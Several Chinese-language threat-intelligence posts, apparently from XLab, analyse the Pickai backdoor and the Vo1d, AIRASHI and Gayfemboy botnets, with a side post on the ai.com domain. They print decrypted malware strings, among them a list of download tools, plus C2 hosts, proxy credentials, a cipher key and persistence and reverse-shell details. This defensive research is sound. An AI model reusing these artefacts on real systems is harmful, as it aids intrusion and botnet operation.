Pickai的功能比较简单，当它运行时，首先对加密的字符串进行解密，包括C2，持久化脚本等各种敏感的配置信息，然后通过检测进程的TracerPid字段进行反调试，使用pid文件确保单一实例运行，调用prctl函数对进程名进行修改进。接着根据当前用户的不同权限，通过init.d或systemd实现持久化，最后和C2建立通信，等待执行C2下发的指令。

下文将从主机行为与网络通信两个维度对Pickai后门进行分析，重点关注字符串解密、持久化机制和网络协议等关键技术特征。

Part 1: 解密字串

Pickai的大部分敏感字符串加密存储在rodata段，加密方法为单字节与0xAF进行异或。因此密文有一个明显的特征，即以0xAF结尾。

为了逆向分析的方便，可以使用以下idapython代码进行解密，只需要确定

密文的开始与结尾

即可。

startAddr=0x000000000000D028
endAddr=0x000000000000DBD8
buf=ida_bytes.get_bytes(startAddr,endAddr-startAddr)
items=buf.replace(b'\x00',b'').split(b"\xaf")
for item in items:
    plaintxt=bytearray()
    ciphertxt= ' '.join(f'{byte:02X}' for byte in item)
    addr=idc.find_binary(startAddr,idaapi.SEARCH_DOWN,ciphertxt)

    for i in item:
        plaintxt.append(i^0xaf)
    print(f"0x{addr:x}, has {len(plaintxt)} bytes ----> {plaintxt}")
    plaintxt.append(0)
    ida_bytes.patch_bytes(addr,bytes(plaintxt))
    idc.create_strlit(addr,addr+len(plaintxt))

效果如下所示，解密出的明文中包括C2，进程伪装，持久化等功能相关的信息。

Part 2: 主机行为

Pickai在主机行为方面，支持反调试，单一实例，进程伪装，持久化等特性。它们的技术实现上并无特别的“脑洞”，进程伪装和持久化稍有特色，它们都体现了一个“多”的特点。

0x1: 进程伪装

进程伪装的“多”，体现在伪装的进程名上。Pickai会在20个进程名中随机选择一个，使用prctl函数对自身进程名进行修改。

伪装进程名的详细信息如下：

0x2:持久化

持久化的“多”，体现在持久化服务数量上：root用户10个，普通用户5个。

当前用户权限为root时，Pickai首先会将自身复制到5个不同的路径，并同步它们的“最后修改时间”至“/bin/sh”文件的时间戳，然后创建服务，利用init.d & systemd 两种机制实现持久化。

以下为Pickai副本所在的路径，以及它们对应的持久化服务。使用init.d机制时，这些服务位于/etc/init.d/目录，而systemd机制，这些服务则位于/usr/lib/systemd/system/或/lib/systemd/system/。

很明显，Pickai试图仿冒正常系统服务，蒙混过关。实际创建的auditlogd持久化脚本如下所示：

另外值得一提的是，Pickai在自我复制过程中，会在文件尾部追加随机数据。这种技术手段很明显是在规避基于文件哈希值的检测机制。

可以看出5个Pickai副本的MD5完全不一样：

当用户权限不是root时，Pickai使用systemd机制实现持久化，整个过程与root权限相似，只不过副本路径以及服务名称有所不同。这些服务位于

$HOME/.config/systemd/user/

。

Pickai正是通过这种冗余的持久化机制，在被感染设备上实现多个分身，只要一处没有清理干净，它就能卷土重来。

Part 3: 网络通信

Pickai通过一个永真的循环进行网络通信，它的通信机制采用三级定时策略：每43200秒（12小时）从6个硬编码C2中轮换活跃节点，每1200秒周期性上报设备信息，每120秒向C2请求指令。

0x1: 请求指令报文

长度1024字节，前7字节为“LISTEN|”，其余部分0x00填充。支持

EXECUTE

和

REVERSE

俩个指令，它们分别对应执行系统命令和反弹shell俩个功能。

0x2: 上报设备信息报文

长度1024字节，前7字节为“UPDATE|”，其后紧跟着3部分元数据，未使用的空间使用0x00填充

系统指纹（uname -a）
特权状态（当前用户是否为root）
是否为docker（检测1号进程是否为init或systemd）

0x3: C2验活报文

样本中硬编码了6个C2，Bot以先后顺序为优先级，依次向这些C2发送验活请求，直至收到首个活跃C2的响应。这种设计使得高优先级C2在正常通信时掩盖低优先级C2的存在，在一定程度上能够对抗基于沙箱流量进行IOC生产的系统。

验活报文长度7字节，固定为“STATUS|”，当C2回复

LISTENING

时，表示该C2处于活跃状态。

0x4: 跟踪到的指令

我们在XLab指令跟踪系统中实现了Pickai的协议，只在6月6日接收2条指令，用于开启反弹shell。由于尚未对REVERSE、EXECUTE等后续攻击指令进行模拟，攻击者在成功建立shell会话后的具体攻击意图暂无法完整溯源。

总结

Pickai的冗余持久化机制使其具备类似顽固木马的特性，即使仅残留一处未被清理，就能触发再生。网络管理员可基于前文所述的Pickai主机行为特征进行深度排查，确保其植入的5个副本被彻底清除，避免残留导致二次感染。

这是我们当前掌握的关于Pickai的基本情报，诚邀具有独特视角的同行企业及受此后门木马影响的网络管理员和我们联系提供进一步的线索。

阅读原文

跳转微信打开

风云再起：全球160万电视被Vo1d僵尸网络操控，潜在危害令人担忧

Wed, 26 Feb 2025 15:35:00 +0800

原创奇安信X实验室 2025-02-26 15:35 北京

引子

2025 年 2 月 24 日，美国全国广播公司新闻（NBC News）报道称："华盛顿特区的美国住房与城市发展部（HUD）总部的电视设备突然播放了一段未经授权的 AI 生成视频。视频画面中，唐纳德·特朗普总统弯腰亲吻埃隆·马斯克的脚趾，并配以LONG LIVE THE REAL KING字幕。工作人员无法关闭只能被迫拔掉所有电视电源"。这一事件迅速引发舆论热议，公众广泛讨论。网络安全社区亦被触动，开始重新评估电视、机顶盒等设备被黑客攻陷后可能带来的重大风险。今天我们要向读者介绍的恶意程序正是专门针对Android电视设备的僵尸网络，Vo1d。

背景介绍

2024年11月28日，XLab大网威胁感知系统监测到IP地址38.46.218.36正在传播一个VT 0 检测，名为jddx的ELF文件，AI检测模块提示该文件带有“Bigpanzi僵尸网络的基因”。这引起了我们的兴趣，稍加分析，我们确认jddx是一个使用了Bigpanzi字符串加密算法的下载器，但其代码结构与已知的Bigpanzi样本存在显著差异。难道我们去年曝光的百万级僵尸网络Bigpanzi悄悄的开展了新业务？带着这一疑问，我们展开了深入分析。结果表明，jddx实际上隶属于另一个百万级别僵尸网络Vo1d的新变种。它本身是一个此前从未被安全社区曝光的下载器组件，其后续投递的Payload正是Vo1d僵尸网络的全新变种，这一发现标志着Vo1d已开启新一轮活动。

从我们目前掌握的数据来看，Vo1d僵尸网络此次活动感染了全球160万台Android电视设备，波及全球200多个国家和地区。为了让非网安背景的读者了解百万级别僵尸网络的威力，我们来看看现实中的例子：

2024年Cloudflare遭遇的超级攻击：一次DDoS攻击达到5.6 Tbps的恐怖流量，足以让任何网站瞬间崩溃。那次攻击，只用了1.5万台设备，而我们本次观测到的Vo1d控制着至少160万台设备，规模是那次的100多倍。
2016年Mirai的灾难：Mirai僵尸网络让美国东海岸的互联网瘫痪，Twitter、Netflix无法访问，甚至把整个利比里亚的网络打到“断线”。它的规模不过几十万台，远不及Vo1d。

Vo1d目前主要用于个人盈利，但由于其对设备拥有完全控制能力，攻击者可以轻易将其改换用途，用于直接或间接发动大规模网络攻击，或从事其他网络犯罪活动。事实上，Cloudflare在2024年Q4全球DDoS攻击趋势报告中指出，大量Android电视和机顶盒设备已参与DDoS攻击。试想，若Vo1d被用于此类攻击，只需背后的操控者一声令下，这160万台设备就会化身洪水猛兽，让您刷不了短视频、打不了游戏，甚至冲垮银行、医院、航空等民生相关系统，影响正常生活。如此量级的僵尸网络的攻击能力甚至是国家级这个层面都难以防御，这绝不是危言耸听。

Vo1d的潜在危害不只是常规网络攻击范畴。安全社区长期以来似乎对电视、机顶盒等设备被攻陷的后果估计不足。这些设备不仅可被用于各种传统意义上的黑灰产活动，更因其作为现代社会内容传播核心媒介的角色，而承载着独特的风险。一旦电视或机顶盒被黑客操控，便可能成为不受法律法规约束的信息传播工具，肆意播送任何图像和声音内容。这种攻击方式在现实世界已有真实的案例：

2023年12月11日，阿联酋居民使用的机顶盒遭到网络攻击，正常节目被替换为显示巴以冲突的视频。
2025年2月24日，美国住房与城市发展部大楼的电视被入侵，常规内容被替换为特朗普亲吻马斯克脚趾的视频。

试想，如果被Vo1d控制的Android电视被用于传播暴力、恐怖、色情，亦或是利用当前足够以假乱真的AI技术炮制领导人的视频进行政治宣传，都会极大影响人们的正常生活秩序，危害社会稳定。

回到Vo1d样本分析，对于安全研究人员来说，如此大规模僵尸网络的新活动可遇不可求。当时我们以jddx为线索，马不停蹄地展开挖掘，收获颇丰：成功捕获了89个样本，发现了诸多基础设施，包括1个Reporter、4个Downloader、21个C2域名、258个DGA种子以及超过10万个DGA域名。为了研究此次Vo1d活动的网络规模与地理分布，我们注册了部分DGA域名。数据显示，当前Vo1d僵尸网络的日活跃IP在80万左右，2025年1月14日，连续一周日活超过150万，观测到的最大数值为1590299。

显然，Vo1d僵尸网络并未因曝光而式微，反而通过技术进化展现出顽强的生命力。正如常言所说：“僵尸永远不死，而且它们拒绝凋零”，通过对比Dr.Web博客披露的样本，我们发现Vo1d背后的团伙正在全力提升僵尸网络的隐匿性、健壮性和抗打击能力。这些改进或许正是他们从上次曝光和打击中汲取的经验教训。

以下是此次活动样本的核心变化：

通信加密增强
网络通信使用 RSA 加密，提高数据传输的隐匿性，同时保证即使DGA C2被安全研究人员注册，也不可能接管网络。
基本设施结构升级
引入了硬编码，域名生成算法（DGA）俩种形式的Redirector C2用以保护真实C2，极大增强僵尸网络的隐蔽性、灵活性和抗打击能力。
Payload 投递策略优化
每个 Payload 都配备了独立的 Downloader，其中 Payload 本身使用魔改后的 XXTEA 算法加密，其加密密钥通过 RSA 进行保护，大幅提升了对抗分析能力。

2025年，XLab指令跟踪系统成功捕获了业务相关的Payload，进一步揭示了Vo1d的运作模式: 攻击者利用受感染的Android电视设备展开的多项黑产活动，包括组建代理网络、推广广告，虚假刷量等。从Payload的功能来看，代理网络是Vo1d的核心目标之一。这一目标的商业价值已通过911s5代理的成功案例得到充分验证。根据美国司法部的消息，911S5的运营者通过出售代理服务，赚取了超过9900万美元的非法收入。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。而Vo1d通过控制全球范围内的海量设备构建的代理网络，相比传统代理更具吸引力，能够更好地满足匿名化和隐蔽性的需求。

综上所述，Vo1d僵尸网络凭借其百万级别的规模以及持续的技术进化，对全球网络安全构成了长期且严峻的威胁。此次攻击活动已在安全厂商的监测之外潜伏超过3个月，进一步凸显了其隐蔽性。为此，我们决定撰写本文，向社区分享研究成果，为打击网络犯罪贡献一份力量。

技术细节示例

由于篇幅原因，公众号上我们选取C2基础设施，僵尸网络规模以及罕见的xxtea魔改算法 三部分内容作为分析成果的展示，想充分了解Vo1d僵尸网络技术细节的讲者可以参阅原文。

第一部分：Tranco 1M级别的C2基础设施

C2基础设施

通过11月28日捕获的样本JDDX，我们识别了C2域名 ssl8rrs2.com 以及基于32个DGA种子生成21120个DGA C2的网络行为模式。C2绑定的 IP 3.146.93.253 是 vo1d 此次攻击活动的核心基础设施之一，该 IP 下解析了 5 个不同的域名，其中 ssl8rrs2 和其他域名已在后续捕获的样本中被进一步验证为 C2 域名。这些域名使用了不同的端口实现负载均衡，如 ssl8rrs2 使用端口 55600，而 viewboot 使用端口 55503，这种做法无疑增加网络的可靠性和抗侦测能力。

通过溯源分析，我们发现了另一个核心资产 3.132.75.97，该 IP 关联了以下 7 个域名。其中，ttss442 和 works883 两个域名已在近期捕获的样本中作为 C2出现。至于剩余的 5 个域名，综合考虑域名的格式，创建时间，我们有较高信心将其研判为Vo1d团伙的资产。

Tranco 1M排名

Tranco排名是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告 (CrUX)等多个数据源，成为学术界广泛使用的工具。

在Tranco的排名中，Vo1d僵尸网络部分大部分C2都进入了全球网站排名50万之内，少数更是到了5万多名。

值得一提的是ttss442，该域名于2024年11月3日创建，在短短几个月内便冲进全球域名排名前55000。这一现象从侧面反映了Vo1d僵尸网络的庞大的规模和惊人的活跃程度。

第二部分：百万级僵尸网络规模

此次 vo1d 变种所采用的 DGA 算法与 Dr.Web 披露的早期样本完全一致，但支持的 DGA 种子数量发生了显著变化，从最初版本硬编码的 5 个种子，扩展到了变种中的 32 个，这一改动显著提升了生成域名的规模。

随着溯源工作的深入，我们陆续注册了258个DGA C2域名，从而初步掌握了 VO1D 僵尸网络的部分视野。根据收集的数据，约有 160 万设备遭到感染，覆盖全球 200多个国家和地区，2025年1月14日起，连续7天日活Bot接近150万，1月19日达到峰值1590299。

当前日活跃的 Bot 数量在80万左右，我们取2月1日到15日的数据进行统计，感染量前10的国家分别为巴西25.0%，南非13.6%，印度尼西亚10.5%，阿根廷5.3%，泰国3.4%，中国3.1%，摩洛哥2.8%，菲律宾2.2%，德国2.2%，马来西亚2.1%。此次活动中国感染量不小，日活规模超过20000。

2025年2月21日起，Vo1d的感染规模迎来一波小增长，当日从80万上升到110多万。下图为2月25日感染量前15的国家，值得注意的是印度从第29位直线上升到第2位；中国的感染量也接近5万。

第三部分：罕见的xxtea魔改算法

以下代码片段用于解密Vo1d载荷，有安全分析的读者肯定能一眼就能确定它是xxtea算法。然而我们使用尝试使用Python去解密时，却总是不对，这让我们百思不得其解。

尽管可以通过模拟或动态dump的方式获取解密后的payload，但我们作为安全研究员并不满足于黑盒式的解密。抱着打破砂锅问到底的态度，在几杯咖啡的陪伴下，我们经过仔细比对，发现Vo1d解密payload的XXTEA算法其实是一个魔改版本——它用算术右移（asr）替代了标准XXTEA算法中的逻辑右移（lsr）。我们将此魔改算法命名为asr_xxtea，并在Vo1d的各种组件都中发现了它的身影。在恶意软件开发中，对标准算法进行修改并不常见，这一发现从侧面反映了Vo1d团伙深厚的技术积累。

Vo1d还有很多有意思的技术细节，如DGA算法，RSA加密等等。对技术分析感兴趣的讲者，请访问XLab Blog，上面详细地分享了我们的发现&分析过程，以及逆向工具的使用。

https://blog.xlab.qianxin.com/long_live_the_botnet_vo1d_is_back_cn/

或者点击下方的阅读原文。不过请您做好心理准备，阅读全文大约需要45分钟，。想了解更多内幕信息的读者，可以给我们留言。

阅读原文

跳转微信打开

顶级域名ai.com认证Deepseek? ai.com的前世今生

Fri, 14 Feb 2025 12:58:00 +0800

原创 XLab 2025-02-14 12:58 北京

顶级域名ai.com认证Deepseek? 本文基于多个数据维度，带大家一步步了解 ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。

在互联网世界中，顶级这个词常常被赋予神秘而崇高的含义。最近有媒体报道称，“顶级域名的持有者ai.com现在跳转到deepseek,表明已经认可了deepseek的能力”，之前还有一些技术背景的人士声称 ai.com已被OpenAI 收购。这些信息听起来非常专业，似乎确凿无疑，但经过仔细查证后发现，这些都是误传或错误解读。随着 DeepSeek的迅速走红，市场上鱼龙混杂的信息大量涌现，真假难辨，容易让人混淆视听。由于大规模的基础数据支持，奇安信Xlab在多个领域拥有很好的全局视野，能够实时监测互联网中的各种活动，也因此能够从数据角度解读很多网络中发生的现象。

本文正是基于我们的数据纬度，带大家一步步了解 ai.com 的真实历史和现状，帮助大家从纷繁复杂的信息中辨别真伪，同时也为大家提供一些技术背景知识，以便更全面地理解这一现象。

ai.com的前世今生

公开的whois数据显示，ai.com域名注册于1993年。

待售状态

从我们自己的数据能够看到该域名的最早信息为2014年，再之前的状态缺乏数据不可考了。

2014年之后的该域名为待售状态，并且其待售状态可以分为两部分：

其一为：从2014年10月07日～ 2019年3月这段时间，均属于 FUTURE MEDIA ARCHITECTS, INC. 公司。Future Media Architects 是一家已解散的互联网开发公司，成立于 2002 年，专注于收购和开发首屈一指的域名和 Web 资产。2019年3月该公司因为司法纠纷原因，该公司已经没有更新状态了。

其二为：2019年4月-2021年9月28日，ai.com属主进行了迁移并启用了隐私保护，从其名字服务器来看——buy.internettraffic.com, sell.internettraffic.com，可以合理猜测其仍然处在待售状态。

蹭AI热点，待售状态

从2021年9月28日开始一直到现在，该域名的名字服务器使用了clouflare的服务，正式的进入了AI时代。

整体时间线

从DNS的解析结果，也可以看出该域名的类似变迁过程。从2021年9月份进入AI时代之后，其主要解析就两个位于cloudflare的IP地址104.21.89.14和172.67.155.131，非常稳定。

CloudFlare解析的IP地址分析

我们利用passiveDNS数据（截止到2025-02-11）对ai.com解析到的Cloudflare地址进行分析发现：

在2025-01-01之后，这两个IP上承载的域名分别为1830和2157。
这些域名中，访问量比较大的看起来都是一些灰色业务，比如色情，赌博网站

此外还有一些仿冒大站的业务。如下图中就有显著的仿冒Google（qooglevideo[.]com）和微软(cdnmicrosoft[.]com)的域名的情况。

web页面历史

在internetarchive上对ai.com 的web页面历史分析。可以看出，2022年3月份的时候，ai.com的出售页面显示其在saw.com（是一家做域名生意的公司）进行售卖。从上面的passiveDNS以及whois数据来看，该域名目前仍在该公司手中。

其后该域名的指向变化较多，比如2023年2月的时候，曾经指向了一个telegram的以AI为主题的group。

从2023年2月20号开始，它就开始指向了openai，随后就不断的在多个热门的大模型/AI公司之间不停的切换。

名不副实的“顶级域名”

从数据中可以看得出来，ai.com这个域名曾经长期处于待售状态，2021年开始切入了AI时代，从其“委身”的IP地址来看，上面鱼龙混杂，其属主saw并没有将其包装出任何“顶级”属性。并且它短期内在多个不同的热门AI模型/应用之间进行切换倒流，颇有“见风使舵”的倾向。如今它跳转到deepseek也侧面说明了deepseek在当前AI界的热度。但我们完全没有必要将其奉为所谓“顶级域名”。它可能就是一个蹭热度用来自抬身价的投机者。

域名关联和热度

我们利用PassiveDNS数据可以计算域名之间的关联/伴生关系，从下图可以看出，从20250209开始，ai.com与deepseek.com开始高度关联，说明ai.com从这天开始跳转到了deepseek.com。

从我们PassiveDNS的数据来看，ai.com这个域名的访问量从20250209开始已经快速上涨。后续的热度还需要继续观察，我们希望它的上涨仅仅是因为媒体报道热起来的而不是真实的有用户在例行使用。

安全建议

从我们的数据看，ai.com其历史更多是一场投机炒作的缩影，域名始终处于待售或易变状态。这种现象在互联网历史中并不罕见，高价值域名往往成为炒作和投机的工具，实际使用中可能并不可靠。

用户千万不要把ai.com设置为自己对AI访问的入口，尤其是在生产系统中。一个是ai.com的后续的指向很有可能会变化，变化之后的新的页面/模型可能和现在的并不容见，影响自己的业务；再一个是ai.com的历史表明，其并不是一个稳定的状态，后续如果夹带其他的私货也未可知，从安全谨慎角度出发，也不建议将其设置为入口。更多信息请点击阅读原文

阅读原文

跳转微信打开

僵尸永远不死：大型僵尸网络AIRASHI近况分析

Wed, 15 Jan 2025 12:51:00 +0800

原创奇安信X实验室 2025-01-15 12:51 北京

概述

2024年8月XLab到观察一次有预谋的针对国产游戏《黑神话悟空》发行平台 Steam 和完美世界的大规模DDoS攻击事件。此次攻击行动分为四个波次，攻击者精心挑选在各个时区的游戏玩家在线高峰时段发起长达数小时的持续攻击。并且同时攻击Steam和完美世界分布在全球13个地区的上百个服务器，以实现最大的破坏效果。而参与此次攻击行动的僵尸网络当时自称为AISURU。本文将要分析的正是AISURU僵尸网络的变种版本AIRASHI。

在上述攻击事件被曝光后，AISURU僵尸网络在9月短暂收手，停止了攻击活动。但在利益的驱使下10月对他们的僵尸网络进行了更新，根据样本特征我们命名为kitty。11月底，新的变种再次出现并在样本中11月底再次更新，并将僵尸网络更名为：AIRASHI。

当前AIRASHI僵尸网络主要有以下几个特点:

使用美国Cambium Networks公司的cnPilot路由器0DAY漏洞传播样本
样本字符串使用RC4加密，CNC通信协议部分新增了HMAC-SHA256校验，使用chacha20加密
CNC域名使用xlabresearch, xlabsecurity，foxthreatnointel等关键字，调侃XLAB和安全研究人员。
稳定的T级别DDoS攻击能力
控制端的IP资源较为丰富，域名解析的IP将近60个，分布多个在不同的国家和服务商。可能是为了承载更多的BOT端和增加摧毁僵尸网络的困难程度。下图是AIRASHI CNC xlabsecurity.ru Passive DNS记录。可以看到xlabsecurity.ru这个CNC 曾经解析到144个IP，这些IP分布在19个国家，10个AS号（Autonomous System Number, ASN）。

样本传播

依托于XLab大网威胁感知系统的能力，我们观察到AIRASHI样本主要通过NDAY漏洞和TELNET弱口令传播，同时具备0DAY漏洞的利用能力。我们观察到AIRASHI自去年6月开始使用美国Cambium Networks公司的cnPilot路由器0DAY漏洞传播样本，关于该0DAY漏洞去年6月份我们联系了厂家，但是没有得到厂家任何回应。为防止漏洞滥用，本文也不会涉及此漏洞信息。AIRASHI 使用的漏洞如下：

攻击能力与攻击活动

攻击能力

僵尸网络运营者通常通过社交媒体（如 Telegram、Discord 或论坛）展示其攻击能力，目的是吸引潜在客户或威慑竞争对手。为了证明僵尸网络的攻击能力，一些僵尸网络运营者会使用第三方提供的僵尸网络攻击能力测量服务来证明。他们驱动僵尸网络去攻击这些测量服务方提供的服务器，测量服务方会统计这些僵尸网络的攻击流量大小、包速率，攻击源地理位置信息、ASN，攻击方式等信息。僵尸网络运营者获得这些统计信息后将这些信息发布到他们的社交媒体以证明他们的攻击能力。

AIRASHI僵尸网络正是通过这种方式来证明他们的攻击能力。下图是他们的一次攻击能力证明：

可以看到图上的统计

当前攻击峰值: 3.11Tbps (270.52Mpps)
测试用户ID: 66XXXXXXXX (此ID正是AIRASHI僵尸网络Telegram运营频道管理员的ID)
更新时间: 2025-01-13 20:20:04 UTC
攻击来源

AIRASHI的运营者一直在Telegram发布自己的DDoS能力测试结果，从历史数据可以看到AIRASHI僵尸网络的攻击能力稳定在1-3Tbps左右。

攻击活动

AIRASHI僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、波兰、俄罗斯等地区。并无明显的强针对性。每日攻击目标几百个左右。

样本分析

AIRASHI僵尸网络样本更新频繁，拥有多个版本，部分版本除了支持主要的DDoS功能和操作系统命令执行外还支持代理服务，下文以kitty 和 AIRASHI为主要分析对象，从字串解密，C2获取，通信协议，以及支持的指令等方面入手，剖析僵尸网络的技术细节。

Part1: kitty-socks5 分析

kitty在2024年10月初开始传播，和Aisuru之前的样本相比，在网络协议方面进行精简；而在10月底使用socks5代理与C2通信，在字符串表中加密编码了250个代理和55个C2。

0x1: 字串解密

字符串解码方面变化不大，解密方法仍使用xor_bytes，仅修改了key为DEADBEEFCAFEBABE1234567890ABCDEF，字符串表项数缩减为7。

0x2: C2获取

C2获取方面，10月初删除了原先通过http获取C2ip的方法，继续使用|分割C2字符串，和之前一样每个域名都有20多个IP映射。

eg:

dvrhelpers.su|ipcamlover.ru|xlabresearch.ru|xlabsecurity.ru

但在10月底添加socks5后，字符串表添加代理项，并且C2和代理项都使用多组IP-PORT的字节序列编码。

eg:

\x7f\x00\x00\x01\x00\x50代表127.0.0.1:80

0x3: 网络协议

网络协议方面仍使用和Fodcha僵尸网络类似的switch-case进行各个阶段的处理

但在通信方面进行简化，最新样本使用socks5代理（使用身份验证）访问C2；

username: jjktkeglpassword: 2bd463maabw5

取消原先的密钥协商过程，通信流量也不再加密，上线包替换为Kitty-Kitty-Kitty，每隔2分钟向C2发生心跳包cat，C2返回meow!作为响应。

指令类型仍以DDoS为主，添加了反向shell的功能，指令格式变化不明显，仍采用了cmdtype+payload的结构，只是cmdtype的值进行更新，而DDoS相关指令新增了AttckID字段。

Part2: AIRASHI 分析

目前发现了AIRASHI的3类样本：

AIRASHI-DDoS：最早发现于10月底，功能以DDoS为主，也可执行任意指令、获取反向shell。
Go-Proxisdk: 最早发现于11月底，由Go编写的基于muxado的代理工具。
AIRASHI-Proxy：最早发现于12月初，魔改AIRASHI-DDoS的同一套源码，使用私有协议实现代理功能。

AIRASHI和AISURU存在一些相似之处，如果说kitty是AISURU的精简版，AIRASHI更像是升级版。自10月开始持续更新，在开发了简单的Go-Proxisdk后，又开发了自定义协议的代理工具AIRASHI-Proxy，似乎想要用全新的东西惊艳我们。

0x1: RC4解密字符串解密

AIRASHI和AISURU在字符串解密方面有一些共性，继续使用长度为16字节的key，解密算法使用RC4；输出字符串snow slide；使用|分割特殊字符串。Prxoy版本和DDoS版本的解密方法相同，但Prxoy版本内的字符串数量很少。

有趣的是一些未被引用的字符串似乎在回应我们之前的blog：一首包含的conga舞曲的youtube链接和舞蹈邀请，此外还希望xlab和foxnointel命名该变种为AIRASHI

0 'snow slide'1 'telnetd|upnpc-static|udhcpc|/usr/bin/inetd|ntpclient|boa|lighttpd|httpd|goahead|mini_http|miniupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhttpd|uchttpd|pppd|dhclient'2 '/dvrEncoder|/dvrRecorder|/dvrDecoder|/rtspd|/ptzcontrol|/dvrUpdater'3 'cve-2021-36260.ru'4 'honeybooterz.cve-2021-36260.ru'5 'stun.l.google.com:19302'6 '/proc/'7 '/proc/self/exe'8 '/proc/net/tcp'9 '/proc/mounts'10 '/cmdline'11 '/exe'12 '/status'13 '/fd/'14 'PPid:'15 '/bin/|/sbin/|/usr/|/snap/'16 'wget|curl|tftp|ftpget|reboot|chmod'17 '/bin/login'18 '/usr/bin/cat'19 'processor'20 '/proc/cpuinfo'21 '/bin/busybox echo AIRASHI > /proc/sys/kernel/hostname'22 '/bin/busybox AIRASHI'23 'AIRASHI: applet not found'24 'abcdefghijklmnopqrstuvw012345678'25 'come on, shake your body xlab, do the conga'26 'i know you can't control yourself any longer'27 'https://www.youtube.com/watch?v=ODKTITUPusM'28 'dear researcher (xlab, foxnointel, ...), please refer to this malware as AIRASHI. thank you!'

0x2: C2获取

AIRASHI共使用了3种不同的C2获取方法：

AIRASHI-DDoS，在开发初期（10月底），使用最普通的方法，通过DNS服务器解析C2的A记录。
AIRASHI-Proxy，通过DNS服务器获取C2的TXT记录，解析明文IP和端口。
AIRASHI-DDoS，在11月底，通过DNS服务器获取C2的TXT记录，base64解密、chacha20解密4字节的IP，端口硬编码在样本中。

DNS_TXT_CHACHA20_KEY: 8E12DF8893A638354D851BCB46B5B7DC451C6F52066305AC641DE60C80D11850
DND_TXT_CHACHA20_NONCE: 941A247DDD53819F755FD59B

值得注意的是，在12月3日AIRASHI-DDoS的C2解析A记录和TXT记录同时存在，且解密后存在对应关系，可能是为了兼容之前的版本，但这让加密编码都变得毫无意义。

0x3: 网络协议

AIRASHI使用了全新的网络协议，用到的算法有HMAC-SHA256和CHACHA20，使用HMAC校验消息并使用协商后的CHACHA20_KEY加/解密消息。Proxy版本在协议部分没有使用HMAC进行消息验证，其他部分和DDoS版本保持一致。

通信过程

每条消息被分为2部分：32字节消息HMAC校验码、消息

如下图首先会发送Header部分消息，确认消息类型和消息长度，若消息长度不为0，再发送Payload部分

通信过程和之前一样使用状态码的switch-case结构控制，分为4步：

密钥协商

获取32字节的CHACHA20_KEY和Nonce，之后的消息使用chacha20加密并使用CHACHA20_KEY作为HMAC-SHA256的密钥。

密钥确认

使用chacha20加密发送消息类型为1的消息，验证返回消息类型是否为1

发送上线包

通过读取ELF头获取arch类型，上线包结构体如下

struct login{    uint8 uk1;    uint8 uk2;    uint8 uk3;    uint32 stunIP;    uint32 botid_len;    char botid[botid_len];    uint16 cpu_core_num;    uint16 arch_type;}

4. 上线确认

由C2返回消息类型为2的消息

实际产生的流量如下所示：

消息类型
AIRASHI-DDoS共支持13种消息类型，对应的处理函数在bot的代码中以数组的方式存储，一些消息类型的处理函数仍不完善，可能还在开发当中。

AIRASHI-DDoS一共支持以下13种消息类型，还保留了一些类型用于后续开发：

而AIRASHI-Proxy则只支持5种消息类型，可以看出它们前4种类型保持一致。

阅读原文

跳转微信打开

Gayfemboy：一个利用四信工业路由0DAY传播的僵尸网络

Wed, 08 Jan 2025 13:25:00 +0800

原创奇安信X实验室 2025-01-08 13:25 北京

概述

无数脚本小子怀揣着发财梦，拿着 Mirai 的源码兴高采烈地杀入 DDoS 黑产行业，幻想着靠僵尸网络大赚一笔。现实是残酷的，这些人来时满怀雄心，去时却灰头土脸，只给安全社区留下一个又一个只能活跃 3–4 天的 Mirai 变种。然而，今天的主角Gayfemboy是一个例外。

Gayfemboy 僵尸网络首次于 2024 年 2 月初被 XLab 捕获，并持续活跃至今。它的早期版本并不起眼，仅仅是一个使用 UPX 加壳的 Mirai 派生版本，毫无新意。然而，其背后的开发者显然不甘平庸，随后展开了一场激进的迭代进化之旅。他们从修改上线报文入手，开始尝试 UPX 变形壳，积极整合 Nday 漏洞，甚至自行挖掘 0day 漏洞，持续扩大 Gayfemboy 的感染规模。

到了 2024 年 11 月初，Gayfemboy 再次进化，开始利用四信工业路由器 0day 漏洞以及 Neterbit 路由器和 Vimar 智能家居设备的未知漏洞传播样本。这一发现让我们决定对该僵尸网络进行更深入的分析，于是注册了部分 C2 域名用以观察被感染的设备，以及度量僵尸网络的规模。结果显示 Gayfemboy 拥有40多个上线分组，日活跃节点已经超过 1.5 万。有意思的是，当它发现域名被我们注册后，马上对我们抢注的域名展开了DDoS攻击，相当睚眦必报。

依托于XLab大网威胁感知系统的能力，回顾Gayfemboy的演化历程，我们见证了它从一个普通的Mirai变种，一步步进化为今天拥有0day利用能力，攻击颇为凶猛，具有自身特色的大型僵尸网络。

2024年02月12日，XLAB首次发现Gayfemboy样本，使用普通upx壳
2024年4月15日，upx幻数修改为YTS\x99，开始使用gayfemboy上线报文，
2024年6月初，upx幻数修改为1wom，bot代码基本固定，偶尔新增几个C2域名
2024年8月底，样本硬编码6个C2，后3个C2是未注册的状态
2024年11月09日，观察到Gayfemboy开始使用四信工业路由0day漏洞传播样本，样本运行参数为faith2
2024年11月17日，我们注册了Gayfemboy样本中部分未注册的域名，用来观察Gayfemboy感染的设备和僵尸网络规模。
2024年11月23日，Gayfemboy的所有者发现我们注册了他的CC域名，开始定期对我们注册的域名发起DDoS攻击。
2024年12月27日，VulnCheck公开了四信工业路由器 0day的漏洞信息。

漏洞利用

Gayfemboy使用20多个漏洞和Telnet弱口令传播样本，其中包括四信工业路由0day漏洞(当前漏洞已经公布，CVE编号为：CVE-2024-12856)，部分未知漏洞涉及Neterbit和vimar设备（这部分因为漏洞未公开，为防止漏洞被滥用，本文暂且按下不表）。Gayfemboy利用的主要漏洞如下：

感染规模

BOT数量趋势

根据我们收集到的数据看，Gayfemboy僵尸网络的日活Bot IP数量在1.5万左右。

主要感染分布在中国、美国、伊朗、俄罗斯、土耳其等地区

主要感染的设备

